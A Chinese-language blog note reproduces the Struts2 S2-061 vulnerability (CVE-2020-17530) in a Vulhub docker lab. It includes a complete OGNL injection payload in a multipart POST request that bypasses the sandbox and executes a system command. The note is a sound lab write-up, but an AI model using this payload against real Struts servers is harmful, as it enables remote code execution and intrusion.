Struts2 S2-061漏洞复现(CVE-2020-17530)

笔记 122 字 大概 1 分钟 2,243 次

2020-12-15T06:22:16.png

漏洞概述

Struts2 会对某些标签属性(比如 id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x}x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

影响范围

Struts 2.0.0 - Struts 2.5.25

靶机搭建

Vulhub已上线docker部署

git clone https://github.com/vulhub/vulhub.git
cd /root/vulhub/struts2/s2-061
docker-compose -version

复现

  • 实际上发现 S2-061 的环境就是 S2-059的。
<html>
<head>
<title>S2-059 demo</title>
</head>
<body>
<a id="" href="/index.action">your input id: 
<br>has ben evaluated again in id attribute</a>
</body>
</html>
  • 所以利用点应该是 a 标签的id属性,payload如下
POST /index.action HTTP/1.1
Host: 192.168.91.133:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: 793

------WebKitFormBoundary
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundary

2020-12-15T06:30:58.png

文章目录
END

本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。

发表感想